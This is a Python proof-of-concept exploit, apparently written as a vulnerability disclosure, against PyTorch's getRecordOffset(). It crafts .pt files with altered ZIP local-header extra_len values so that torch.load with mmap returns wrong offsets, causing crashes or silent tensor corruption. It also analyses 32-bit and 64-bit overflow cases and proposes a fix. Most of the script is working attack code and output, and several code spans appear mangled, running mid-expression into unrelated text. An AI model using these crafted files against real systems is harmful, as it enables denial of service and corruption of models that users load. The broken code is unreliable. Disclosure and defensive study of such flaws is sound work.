#!/usr/bin/env python3 """ PoC: getRecordOffset() Integer Overflow via Local Header Manipulation Vulnerability: PyTorchStreamReader::getRecordOffset() at inline_container.cc:634-637 reads `filename_len` and `extra_len` directly from the ZIP local file header (LFH) without validating them against the central directory. The returned offset is: return stat.m_local_header_ofs + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + filename_len + extra_len; A crafted .pt file where the LFH has modified filename_len/extra_len causes getRecordOffset() to return a WRONG offset. This offset is then used by: 1. torch.load(path, mmap=True) — indexes into mmap'd buffer at wrong position (serialization.py:2083-2084) 2. getRecordMultiReaders() — multi-threaded reading from wrong offset (inline_container.cc:398-424) 3. Any caller of get_record_offset() Python API Additionally, on 32-bit platforms (PyTorch Mobile ARM32), stat.m_local_header_ofs is mz_uint64 (64-bit) but the return type is size_t (32-bit), causing silent truncation that wraps the offset to a completely different file position. The ZIP central directory is NOT modified, so miniz validation passes. Root cause: inline_container.cc:634-637 — no validation of LFH fields Tested: PyTorch 2.10.0+cpu on Python 3.13.11 """ import ctypes import io import os import struct import subprocess import sys import tempfile import warnings import torch import torch.nn as nn warnings.filterwarnings('ignore') def create_test_model(output_path): """Create a simple model with known tensor values.""" t = torch.tensor([[1.0, 2.0], [3.0, 4.0]], dtype=torch.float32) torch.save(t, output_path) return output_path def find_local_header(data, record_name_suffix): """Find a ZIP local file header by record name suffix.""" pos = 0 while pos < len(data): idx = data.find(b'PK\x03\x04', pos) if idx == -1: return None fn_len = struct.unpack_from(' 65535 or new_extra < 0: print(f" Skipped: needed extra_len={new_extra} out of 16-bit range") return print(f" Original data/0 offset: {correct_off} (tensor data)") print(f" Target: '{target_lh['filename']}' data at offset {target_off}") print(f" Shifting by {needed_shift}: extra_len {lh['extra_len']} → {new_extra}") print() # Show what's at each offset correct_bytes = data[correct_off:correct_off + 16] target_bytes = data[target_off:target_off + 16] print(f" Correct offset ({correct_off}) bytes: " + ' '.join(f'{b:02x}' for b in correct_bytes)) print(f" Target offset ({target_off}) bytes: " + ' '.join(f'{b:02x}' for b in target_bytes)) print(f" Target data as text: {bytes(target_bytes).decode('utf-8', errors='replace')!r}") print() mod_path = os.path.join(tmpdir, "corruption.pt") struct.pack_into('22s} {'+ 30 + fn + ex':>14s} {'64-bit result':>18s} {'32-bit (truncated)':>18s} Notes") print(f" {'─'*22} {'─'*14} {'─'*18} {'─'*18} {'─'*30}") for ofs, hdr_size, fn_len, extra_len, note in cases_32: sum64 = ctypes.c_uint64(ofs + hdr_size + fn_len + extra_len).value sum32 = ctypes.c_uint32(sum64).value truncated = "YES!" if sum64 != sum32 else "no" print(f" 0x{ofs:016X} + {hdr_size + fn_len + extra_len:12d} 0x{sum64:016X} 0x{sum32:08X} ({truncated:4s}) {note}") print() print(" On 32-bit ARM: mz_uint64 → size_t truncation loses high 32 bits") print(" Offset 0x100000100 + extras → 0x100000230 → truncated to 0x00000230") print(" The 4GB worth of offset data is silently lost!") print() print(" 64-bit overflow (requires m_local_header_ofs near UINT64_MAX):") print(" ─────────────────────────────────────────────────────────────") cases_64 = [ (0xFFFFFFFFFFFF0000, 30, 65535, 65535, "wraps to 0x20FFD"), (0xFFFFFFFFFFFFFFF0, 30, 0, 0, "wraps to 0x0E"), (0xFFFFFFFFFFFFF000, 30, 50000, 15505, "wraps to 0xFFFF"), ] for ofs, hdr_size, fn_len, extra_len, note in cases_64: sum64 = ctypes.c_uint64(ofs + hdr_size + fn_len + extra_len).value print(f" 0x{ofs:016X} + {hdr_size+fn_len+extra_len:6d} → 0x{sum64:016X} {note}") print() print(" 64-bit overflow wraps huge offset to a small value near 0") print(" File data at offset 0 is the ZIP local header, not tensor data") print(" → reads ZIP metadata as tensor values → corruption or crash") def demonstrate_vulnerability_code(): """Part 5: Vulnerability details and fix.""" print() print("=" * 70) print(" Part 5: Vulnerability Details") print("=" * 70) print() print(" ROOT CAUSE: getRecordOffset() reads filename_len and extra_len") print(" from the local file header WITHOUT cross-checking against the") print(" central directory values that miniz validated.") print() print(" The central directory is validated by miniz during ZIP open.") print(" But the LOCAL header is read separately by getRecordOffset().") print(" An attacker can have different values in LFH vs central directory.") print() print(" CALLERS that use the wrong offset:") print(" 1. torch.load(mmap=True): serialization.py:2083") print(" storage_offset = zip_file.get_record_offset(name)") print(" storage = overall_storage[storage_offset:storage_offset+n]") print(" 2. getRecordMultiReaders(): inline_container.cc:398") print(" size_t recordOff = getRecordOffset(name);") print(" read(recordOff + startPos, dst + startPos, size);") print(" 3. Any caller of get_record_offset() Python/C++ API") print() print(" FIX: Validate LFH fields against central directory:") print(" ─────────────────────────────────────────────────────") print(" size_t filename_len = read_le_16(local_header + 26);") print(" size_t extra_len = read_le_16(local_header + 28);") print(" TORCH_CHECK(") print(" !__builtin_add_overflow(stat.m_local_header_ofs,") print(" MZ_ZIP_LOCAL_DIR_HEADER_SIZE + filename_len + extra_len,") print(" &result),") print(' "Record offset overflow for ", name);') print(" TORCH_CHECK(result <= file_size_,") print(' "Record offset exceeds file size for ", name);') def main(): print() print(" PoC: getRecordOffset() Integer Overflow via Local Header") print(f" PyTorch {torch.__version__}, Python {sys.version.split()[0]}") print() # Part 1: Wrong offset valid_path, tmpdir = demonstrate_wrong_offset() # Part 2: mmap impact demonstrate_mmap_impact(valid_path, tmpdir) # Part 3: Within-file corruption demonstrate_within_file_corruption(valid_path, tmpdir) # Part 4: Overflow analysis demonstrate_overflow_analysis() # Part 5: Code details demonstrate_vulnerability_code() # Summary print() print("=" * 70) print(" RESULTS:") print(" [+] getRecordOffset() returns wrong offset from crafted LFH") print(" [+] Modified extra_len: offset jumps 65KB past EOF (65535 vs 63)") print(" [+] torch.load(mmap=True) fails on wrong offset → DoS") print(" [+] Within-file offset shift → silent tensor data corruption") print(" [+] 32-bit: mz_uint64→size_t truncation wraps offset") print(" [+] 64-bit: addition overflow wraps near-max offset to ~0") print(" [+] Fix: validate LFH against CD, check overflow, check bounds") print("=" * 70) if __name__ == "__main__": main()